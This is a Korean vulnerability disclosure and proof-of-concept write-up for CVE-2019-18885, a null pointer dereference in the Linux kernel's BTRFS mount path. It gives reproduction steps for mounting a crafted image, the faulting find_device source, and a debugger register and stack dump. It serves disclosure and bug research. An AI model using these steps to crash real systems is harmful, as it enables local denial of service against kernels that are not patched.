
Linux 커널 BTRFS 파일 시스템의 널 포인터 역참조(CVE-2019-18885)에 대한 개념 증명으로, 조작된 이미지, 재현 단계 및 KASAN 로그를 포함합니다.
BoB(일명 Best of the Best), 대한민국에 위치한 프로젝트 팀. ([email protected])
리눅스 커널 파일시스템 모듈의 버그를 발견합니다.
프로젝트 멤버: 김동희(Kieast), 조형진(zkaryaJo), 홍승표(Ph4nt0m), 남지효(NJhyo), 정원영(nonetype)
프로젝트 리더: 조성준(DelspoN)
프로젝트 멘토: 이상섭(k1rh4), 박천성(Ashine)
btrfs_verify_dev_extents(루프 리스트 엔트리)에서 널 역참조
조작된 btrfs 이미지를 마운트할 때 Null-Ptr-Deref가 발생합니다.
Linux Kernel 5.0.21 BTRFS 파일시스템에서 테스트됨 (소스 여기)
(CONFIG_BTRFS_FS=m 옵션이 필요할 수 있습니다.)
조작된 이미지가 여기에 첨부되어 있습니다.
mkdir ./mnt
mount -t btrfs ./poc_2019_18885.img ./mnt
fs/btrfs/volumes.c:430
static struct btrfs_device *find_device(struct btrfs_fs_devices *fs_devices,
u64 devid, const u8 *uuid)
{
struct btrfs_device *dev;
[1] list_for_each_entry(dev, &fs_devices->devices, dev_list) {
if (dev->devid == devid &&
(!uuid || !memcmp(dev->uuid, uuid, BTRFS_UUID_SIZE))) {
return dev;
}
}
return NULL;
}
list_for_each_entry 루프([1])에서 &fs_devices->devices 리스트 엔트리가 NULL이 될 수 있습니다.
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────── registers ────
$rax : 0x0000000000000000 → 0x0000000000000000
$rbx : 0xdffffc0000000000 → 0xdffffc0000000000
$rcx : 0x0000000000000098 → 0x0000000000000098
$rdx : 0x0000000000000013 → 0x0000000000000013
$rsp : 0xffff888063d4e620 → 0xffff888067d9a200 → 0x1e44a09cf7d0cbce → 0x1e44a09cf7d0cbce
$rbp : 0x0000000000c00000 → 0x0000000000c00000
$rsi : 0x0000000000000001 → 0x0000000000000001
$rdi : 0xffff88806a4eb248 → 0x0000000000000000 → 0x0000000000000000
$rip : 0xffffffff81def0e8 → 0x0890850f001a3c80 → 0x0890850f001a3c80
$r8 : 0x1ffff1100d49d781 → 0x1ffff1100d49d781
$r9 : 0x0000000000000000 → 0x0000000000000000
$r10 : 0x0000000000000001 → 0x0000000000000001
$r11 : 0xffffed100cfb3463 → 0x0000000000000000 → 0x0000000000000000
$r12 : 0x0000000000000000 → 0x0000000000000000
$r13 : 0xffff888069f3b4d0 → 0xffff888069d0a560 → 0x0000000001c09000 → 0x0000000001c09000
$r14 : 0x0000000000000001 → 0x0000000000000001
$r15 : 0xffff8880696ee1a0 → 0xffff8880696ee000 → 0x0000000000000001 → 0x0000000000000001
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflowresume virtualx86 identification]
$cs: 0x0010 $ss: 0x0018 $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────── stack ────
0xffff888063d4e620│+0x0000: 0xffff888067d9a200 → 0x1e44a09cf7d0cbce →0x1e44a09cf7d0cbce ← $rsp
0xffff888063d4e628│+0x0008: 0xffff888063d4e6b8 → 0x0000000000000001 →0x0000000000000001
0xffff888063d4e630│+0x0010: 0xffffed100c7a9cdf → 0x00000000f2f8f8f8 →0x00000000f2f8f8f8
0xffff888063d4e638│+0x0018: 0x0000000000800000 → 0x0000000000800000
0xffff888063d4e640│+0x0020: 0xffff888063d4e6c0 → 0x00000000c00000cc →0x00000000c00000cc
0xffff888063d4e648│+0x0028: 0xffff888063d4e6f8 → 0x0000000000000001 →0x0000000000000001
0xffff888063d4e650│+0x0030: 0xffff888067d9a318 → 0x0000000000000000 →0x0000000000000000
0xffff888063d4e658│+0x0038: 0x0000000000800000 → 0x0000000000800000
───────────────────────────────────────────────────────── code:x86:64 ────
0xffffffff81def0da <btrfs_verify_dev_extents+1898> lea rcx, [rax+0x98]
0xffffffff81def0e1 <btrfs_verify_dev_extents+1905> mov rdx, rcx
0xffffffff81def0e4 <btrfs_verify_dev_extents+1908> shr rdx, 0x3
→ 0xffffffff81def0e8 <btrfs_verify_dev_extents+1912> cmp BYTE PTR [rdx+rbx*1], 0x0
0xffffffff81def0ec <btrfs_verify_dev_extents+1916> jne 0xffffffff81def982 <btrfs_verify_dev_extents+4114>
0xffffffff81def0f2 <btrfs_verify_dev_extents+1922> mov rax, QWORD PTR [rax+0x98]
0xffffffff81def0f9 <btrfs_verify_dev_extents+1929> cmp rax, rcx
0xffffffff81def0fc <btrfs_verify_dev_extents+1932> je 0xffffffff81def95c <btrfs_verify_dev_extents+4076>
0xffffffff81def102 <btrfs_verify_dev_extents+1938> lea rdi, [rax+0x88]
─────────────────────────────────────── source:fs/btrfs/volumes.c+430 ────
425 static struct btrfs_device *find_device(struct btrfs_fs_devices *fs_devices,
426 u64 devid, const u8 *uuid)
427 {
428 struct btrfs_device *dev;
429
→ 430 list_for_each_entry(dev, &fs_devices->devices, dev_list) {
431 if (dev->devid == devid &&
432 (!uuid || !memcmp(dev->uuid, uuid, BTRFS_UUID_SIZE))) {
433 return dev;
434 }
435 }
───────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "", stopped, reason: BREAKPOINT
[#1] Id 2, Name: "", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────── trace ────
[#0] 0xffffffff81def0e8 → find_device(uuid=<optimized out>, devid=<optimized out>, fs_devices=<optimized out>)
[#1] 0xffffffff81def0e8 → verify_one_dev_extent(physical_len=<optimized out>, physical_offset=<optimized out>, devid=<optimized out>, chunk_offset=<optimized out>, fs_info=<optimized out>)
[#2] 0xffffffff81def0e8 → btrfs_verify_dev_extents(fs_info=<optimized out>)
[#3] 0xffffffff81d243f0 → open_ctree(sb=0xffff888069cf3b80, fs_devices=<optimized out>, options=<optimized out>)
[#4] 0xffffffff81c7c5d4 → btrfs_fill_super(data=<optimized out>, fs_devices=<optimized out>, sb=<optimized out>)
[#5] 0xffffffff81c7c5d4 → btrfs_mount_root(fs_type=<optimized out>, flags=<optimized out>, device_name=<optimized out>, data=0x0 <irq_stack_union>)
[#6] 0xffffffff816979d9 → mount_fs(type=0xffff88806a4eb248, flags=0x0, name=<optimized out>, data=<optimized out>)
[#7] 0xffffffff8170e8d9 → vfs_kern_mount(type=<optimized out>, flags=<optimized out>, name=0xffff88806c594160 "/dev/loop0", data=0x0 <irq_stack_union>)
[#8] 0xffffffff8170ec2a → vfs_kern_mount(type=<optimized out>, flags=<optimized out>, name=<optimized out>, data=<optimized out>)
[#9] 0xffffffff81c810d5 → btrfs_mount(fs_type=<optimized out>, flags=0x0,device_name=<optimized out>, data=0x0 <irq_stack_union>)
──────────────────────────────────────────────────────────────────────────
Thread 2 hit Breakpoint 1, 0xffffffff81def0e8 in find_device (uuid=<optimized out>, devid=<optimized out>, fs_devices=<optimized out>) at fs/btrfs/volumes.c:430
430 list_for_each_entry(dev, &fs_devices->devices, dev_list) {
명령어 cmp BYTE PTR [rdx+rbx*1], 0x0가 0xdffffc0000000000 + 0x13 주소 값을 읽으려고 시도합니다.